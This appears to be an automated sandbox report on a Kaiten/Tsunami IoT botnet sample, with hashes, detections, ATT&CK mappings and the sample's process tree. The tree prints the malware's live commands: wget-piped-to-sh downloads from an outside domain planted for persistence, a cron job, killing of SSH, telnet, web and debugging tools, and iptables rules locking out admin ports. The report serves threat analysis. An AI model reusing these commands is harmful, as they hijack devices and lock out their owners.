kaiten | cf7f09319e46bf38232f1887e0d9aab18170ece148141f538a94b871fa25aa7c

Analysis

max time kernel
23s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
14-08-2024 21:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

97c58795cc03edfed788af94d848e1a2_JaffaCakes118
Size

38KB
MD5

97c58795cc03edfed788af94d848e1a2
SHA1

55a86ceac7cd6aa61d39b00205d97498242d21d5
SHA256

cf7f09319e46bf38232f1887e0d9aab18170ece148141f538a94b871fa25aa7c
SHA512

1ab1ca965803cf1587f77f671da8fe02024680e52f73ae16c63ed8bdaef04932ebbffdeb816b390efbf1d150de25827b3f57e2b3ed42f357724f0d5c7d2cbb0e
SSDEEP

768:BaQPk7tOmLWoFOJADhA6gLdQAvi+EKuvG+urhWPdSOAf2zjQDq:uV3FOmFCQ3ZKuW6SgzjQO

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

resource	yara_rule
behavioral1/memory/701-1-0x00400000-0x10001560-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Writes DNS configuration 1 TTPs 2 IoCs

Writes data to DNS resolver config file.

Dynamic Resolution

T1568

description	ioc	Process
File opened for modification	/etc/resolv.conf	sh
File opened for modification	/etc/resolv.conf	sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.4Blmh5	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Enumerates kernel/hardware configuration 1 TTPs 9 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/775/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/344/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/513/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/680/stat	killall
File opened for reading	/proc/1/stat	killall
File opened for reading	/proc/316/stat	killall
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/772/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/73/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/701/cmdline	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/104/stat	killall
File opened for reading	/proc/715/cmdline	killall
File opened for reading	/proc/694/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/769/stat	killall
File opened for reading	/proc/37/stat	killall
File opened for reading	/proc/113/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/70/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/74/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/705/stat	killall
File opened for reading	/proc/165/stat	killall
File opened for reading	/proc/315/stat	killall
File opened for reading	/proc/765/stat	killall
File opened for reading	/proc/701/stat	killall
File opened for reading	/proc/315/stat	killall
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/694/cmdline	killall
File opened for reading	/proc/148/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/773/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/113/stat	killall
File opened for reading	/proc/104/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/381/stat	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/69/stat	killall
File opened for reading	/proc/72/stat	killall
File opened for reading	/proc/17/stat	killall
File opened for reading	/proc/715/cmdline	killall

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/udevd0.pid	97c58795cc03edfed788af94d848e1a2_JaffaCakes118

/tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118
/tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118
1⤵
- Writes file to tmp directory
PID:701
- /bin/sh
  sh -c "killall -9 tcpdump > /dev/null 2>&1 &"
  2⤵
  PID:702
- /bin/sh
  sh -c "killall -9 strace > /dev/null 2>&1 &"
  2⤵
  PID:704
- /bin/sh
  sh -c "nvram set rc_firewall=\"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh\" > /dev/null 2>&1 "
  2⤵
  PID:708
- /bin/sh
  sh -c "nvram commit > /dev/null 2>&1"
  2⤵
  PID:711
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -q -O - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" > /etc/persistent/rc.poststart ) > /dev/null 2>&1"
  2⤵
  PID:713
- /bin/sh
  sh -c "chmod 755 /etc/persistent/rc.poststart > /dev/null 2>&1 "
  2⤵
  PID:716
- - /bin/chmod
    chmod 755 /etc/persistent/rc.poststart
    3⤵
    PID:717
- /bin/sh
  sh -c "cfgmtd -w -p /etc/ > /dev/null 2>&1 "
  2⤵
  PID:719
- /bin/sh
  sh -c "( cfgmtd -w -p /etc/ && sleep 432000 && reboot & ) > /dev/null 2>&1"
  2⤵
  PID:721
- /bin/sh
  sh -c "( cat /mnt/Config/S1_01timezone | grep -v derpcity | grep -v wireless > /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:725
- - /bin/grep
    grep -v derpcity
    3⤵
    PID:729
- - /bin/cat
    cat /mnt/Config/S1_01timezone
    3⤵
    PID:728
- - /bin/grep
    grep -v wireless
    3⤵
    PID:730
- /bin/sh
  sh -c "( echo \"sleep 120 && wget -qO - http://y.fd6fq54s6df541q23sdxfg.eu/nvr | sh > /dev/null 2>&1 &\" >> /var/run/.x00 ) > /dev/null 2>&1"
  2⤵
  PID:732
- /bin/sh
  sh -c "( cat /var/run/.x00 > /mnt/Config/S1_01timezone )> /dev/null 2>&1"
  2⤵
  PID:735
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:738
- /bin/sh
  sh -c "rm -rf /tmp/pty > /dev/null 2>&1 &"
  2⤵
  PID:741
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:744
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:747
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:749
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:752
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:755
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:758
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:763
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:767
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:771
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:774
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:777
- - /bin/cat
    cat /var/run/thttpd.pid
    3⤵
    PID:781
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:780
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:787
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:794
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:797
- - /bin/cat
    cat /var/run/httpd.pid
    3⤵
    PID:800
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:799
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:802
- /bin/sh
  sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:804
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:806
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:808
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:810
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:813
- /bin/sh
  sh -c "rm -rf /var/run/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:818
- /bin/sh
  sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:820
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:823
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:826
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:828
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:830
- /bin/sh
  sh -c "rm -rf /tmp/tty6 > /dev/null 2>&1 &"
  2⤵
  PID:832
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:834
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:836
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:838
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:841
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:843
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:845
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:847
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:849
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:851
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:853
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:855
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:857
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:859
- /bin/sh
  sh -c "iptables -A INPUT -p tcp --dport 8080 -j DROP > /dev/null 2>&1 &"
  2⤵
  PID:861
- /bin/sh
  sh -c "echo \"nameserver 8.8.8.8\" > /etc/resolv.conf &"
  2⤵
  - Writes DNS configuration
  PID:863
- /bin/sh
  sh -c "chmod 700 /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118 > /dev/null 2>&1 &"
  2⤵
  PID:867
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118"
  2⤵
  PID:871
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118
    3⤵
    PID:872
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:874
- - /usr/bin/crontab
    crontab -l
    3⤵
    PID:876
- - /bin/grep
    grep -v "no cron"
    3⤵
    PID:878
- - /bin/grep
    grep -v /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118
    3⤵
    PID:877
- - /bin/grep
    grep -v lesshts/run.sh
    3⤵
    PID:879
- /bin/sh
  sh -c "echo \"* * * * * /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:880
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:881
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:882
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:883
- - /bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:884
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:886
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:887
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:888
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:889

/usr/bin/killall
killall -9 tcpdump
1⤵
- Reads runtime system information
PID:703

/usr/bin/killall
killall -9 strace
1⤵
- Reads runtime system information
PID:707

/bin/rm
rm -rf /var/run/pty
1⤵
PID:740

/bin/rm
rm -rf /tmp/pty
1⤵
PID:743

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:748

/usr/sbin/service
service httpd stop
1⤵
PID:751
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:756
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:760
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:768
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  PID:783
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:784

/usr/sbin/service
service telnetd stop
1⤵
PID:754
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:761
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:765
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:772
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:789
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:790

/usr/sbin/service
service sshd stop
1⤵
PID:757
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:764
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:769
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:775
- /bin/systemctl
  systemctl list-unit-files --full "--type=socket"
  2⤵
  - Enumerates kernel/hardware configuration
  PID:792
- /bin/sed
  sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
  2⤵
  PID:793

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:762

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:766

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:770

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:773

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:776

/usr/bin/killall
killall -9 httpd
1⤵
- Reads runtime system information
PID:796

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:751

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:751

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:751

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:751

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
PID:751

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:751

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:754

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:754

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:754

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:754

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
PID:754

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:754

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:801

/usr/local/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:757

/usr/local/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:757

/usr/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:757

/usr/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:757

/sbin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
PID:757

/bin/systemctl
systemctl "--job-mode=ignore-dependencies" stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:757

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:803

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:805

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:807

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:809

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:812

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:817

/bin/rm
rm -rf /var/run/tty6
1⤵
PID:819

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:822

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:825

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:827

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:829

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:831

/bin/rm
rm -rf /tmp/tty6
1⤵
PID:833

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:835

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:837

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:840

/usr/bin/killall
killall -9 powerpc
1⤵
PID:842

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:844

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:846

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:848

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:850

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:852

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:854

/sbin/iptables
iptables -A INPUT -p tcp --dport 23 -j DROP
1⤵
PID:858

/sbin/iptables
iptables -A INPUT -p tcp --dport 22 -j DROP
1⤵
PID:856

/sbin/iptables
iptables -A INPUT -p tcp --dport 80 -j DROP
1⤵
PID:860

/sbin/iptables
iptables -A INPUT -p tcp --dport 8080 -j DROP
1⤵
PID:862

/bin/chmod
chmod 700 /tmp/97c58795cc03edfed788af94d848e1a2_JaffaCakes118
1⤵
PID:870

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Dynamic Resolution

T1568

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x00

Filesize
87B

MD5
e9edd49b68669411a5e0ee7edbeb022a

SHA1
83dac91e569f69ea4a4325b7fb979721bb13f07d

SHA256
cbf58a1d936bfb8a4c4f272f96c57f67ae5c8a0dfc56e17e8117ac8a12fba892

SHA512
da53b5620ccbffd257db206836844bb7fdf3202a852009b459f672b9ccbc7e91c0fc58dcf98410ef2a7b21e9f9655a33bd9439cb1fdb8114d925cb9b674e30c2

Download Submit
/run/.x001804289383

Filesize
81B

MD5
2f00c8f41e2c5f1e7307253d0bfe8909

SHA1
74eb2e32ba6b4933fdb0f12ab8c0291bb3abad70

SHA256
a4e5067531c9b0794b528d723be189de4861e6e28f97ffb4f95ee45289f5b689

SHA512
69464ed919639151c4159fe889e067fbf620ddaa2b0502e20b17d1bcf4d297f15546173c8608351b7b9814f01986840f908c86f40ad1afc14d4468f35c5bec64

Download Submit
/var/spool/cron/crontabs/tmp.4Blmh5

Filesize
278B

MD5
fc5f7cf8f51083038e2dbb7bb55061e9

SHA1
f028c9295f76e690eb3f819ac671f9fa4a164d2b

SHA256
947729a90a80e4680bc5297b8a863ac6284607d9080e08e886e62631f0a85b4e

SHA512
1f4984f59992665e4d0f3073beaa75112dcf7b49957af2c056d17f6636aca5304f2d0da985018fae0abb462fcc10d13a8f7d6e11699386005029a0a69a1cb1ee

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads